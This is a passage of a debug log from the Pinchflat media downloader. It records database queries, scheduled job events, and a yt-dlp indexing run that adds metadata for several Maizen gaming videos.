s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:55.091 [info] Sent 200 in 2ms 20:02:56.533 [info] GET /settings 20:02:56.533 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 20:02:56.534 [debug] QUERY OK source="settings" db=0.1ms idle=1444.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:56.534 [debug] QUERY OK source="settings" db=0.1ms idle=1444.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:56.534 [debug] QUERY OK source="settings" db=0.0ms idle=1444.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:56.535 [debug] QUERY OK source="settings" db=0.1ms idle=1444.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:56.536 [info] Sent 200 in 2ms 20:03:00.220 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:03:17.947 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:47.949 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.221 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:04:17.951 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:47.953 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.222 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:05:17.955 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:47.957 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.223 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:06:17.875 [info] {"args":{"id":2},"id":17084,"meta":{},"system_time":1787195177875189102,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:06:17.875 [debug] QUERY OK source="sources" db=0.3ms idle=93.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:17.876 [debug] QUERY OK source="settings" db=0.2ms idle=93.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:06:17.878 [debug] QUERY OK source="media_items" db=1.5ms idle=94.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:06:17.878 [debug] QUERY OK source="media_items" db=0.4ms idle=9.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 20:06:17.879 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:17.879 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:06:17.879 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:06:17.885 [debug] QUERY OK source="media_items" db=1.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 20:06:17.886 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 20:06:17.886 [debug] Current batch of media processed. Will check again in 1000ms 20:06:17.887 [debug] QUERY OK source="settings" db=0.1ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:06:17.887 [debug] QUERY OK source="settings" db=0.1ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:06:17.887 [debug] QUERY OK source="settings" db=0.1ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:06:17.887 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/5a/1a/5a1a8f3f739c39b205ba4a9dd5ab43cd9d03855f8a3bea45fb60926ecfeaa8f7.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b2/d9/b2d9c3fe8e887a857ccbb09594448b9f1702c99c41e50aa78d32df3a26713de4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:06:17.959 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:18.887 [debug] Current batch of media processed. Will check again in 1000ms 20:06:19.888 [debug] Current batch of media processed. Will check again in 1000ms 20:06:20.889 [debug] Current batch of media processed. Will check again in 1000ms 20:06:21.890 [debug] Current batch of media processed. Will check again in 1000ms 20:06:22.891 [debug] Current batch of media processed. Will check again in 1000ms 20:06:23.892 [debug] Current batch of media processed. Will check again in 1000ms 20:06:24.893 [debug] Current batch of media processed. Will check again in 1000ms 20:06:25.894 [debug] Current batch of media processed. Will check again in 1000ms 20:06:26.895 [debug] Current batch of media processed. Will check again in 1000ms 20:06:27.896 [debug] Current batch of media processed. Will check again in 1000ms 20:06:28.897 [debug] Current batch of media processed. Will check again in 1000ms 20:06:29.898 [debug] Current batch of media processed. Will check again in 1000ms 20:06:30.899 [debug] Current batch of media processed. Will check again in 1000ms 20:06:31.900 [debug] Current batch of media processed. Will check again in 1000ms 20:06:32.901 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 976, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", "id" => "2-aPfodzXeE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2-aPfodzXeE", "playlist_index" => 1, "timestamp" => 1787043612, "title" => "Why JJ And Mikey Ate ENTIRE World?", "upload_date" => "20260818"} 20:06:32.902 [debug] QUERY OK source="sources" db=0.2ms idle=1119.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:32.902 [debug] QUERY OK source="sources" db=0.1ms idle=1119.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:32.904 [debug] QUERY OK source="media_items" db=1.4ms idle=1120.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 20:06:32.905 [debug] QUERY OK source="media_items" db=0.7ms idle=1014.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "a521cf59-9fd2-4650-969f-e4097348266b", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 03:06:32Z], ~U[2026-08-20 03:06:32Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 20:06:32.905 [debug] QUERY OK source="sources" db=0.1ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:32.906 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:32.906 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [482073] 20:06:32.906 [debug] Current batch of media processed. Will check again in 1000ms 20:06:33.907 [debug] Current batch of media processed. Will check again in 1000ms 20:06:34.908 [debug] Current batch of media processed. Will check again in 1000ms 20:06:35.909 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1231, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", "id" => "SYBhOxduPUg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SYBhOxduPUg", "playlist_index" => 2, "timestamp" => 1786852811, "title" => "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "upload_date" => "20260816"} 20:06:35.910 [debug] QUERY OK source="sources" db=0.3ms idle=1127.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:35.910 [debug] QUERY OK source="sources" db=0.2ms idle=1128.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:35.912 [debug] QUERY OK source="media_items" db=1.3ms idle=1128.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 20:06:35.913 [debug] QUERY OK source="media_items" db=0.6ms idle=1018.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "d121bc78-75d8-43ea-a802-8ac03f492aa1", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 03:06:35Z], ~U[2026-08-20 03:06:35Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 20:06:35.913 [debug] QUERY OK source="sources" db=0.2ms idle=18.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:35.914 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:35.914 [debug] QUERY OK source="media_items" db=0.1ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [472253] 20:06:35.914 [debug] Current batch of media processed. Will check again in 1000ms 20:06:36.915 [debug] Current batch of media processed. Will check again in 1000ms 20:06:37.916 [debug] Current batch of media processed. Will check again in 1000ms 20:06:38.917 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1360, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", "id" => "TEmV_KQkWXY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TEmV_KQkWXY", "playlist_index" => 3, "timestamp" => 1786797076, "title" => "BUILDING The SAFEST BASE to Survive in Roblox", "upload_date" => "20260815"} 20:06:38.918 [debug] QUERY OK source="sources" db=0.3ms idle=1135.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:38.918 [debug] QUERY OK source="sources" db=0.2ms idle=1136.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:38.920 [debug] QUERY OK source="media_items" db=1.3ms idle=1136.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 20:06:38.922 [debug] QUERY OK source="media_items" db=2.0ms idle=1022.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "9280a857-4558-4c8f-a907-59eb7759982b", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 03:06:38Z], ~U[2026-08-20 03:06:38Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most 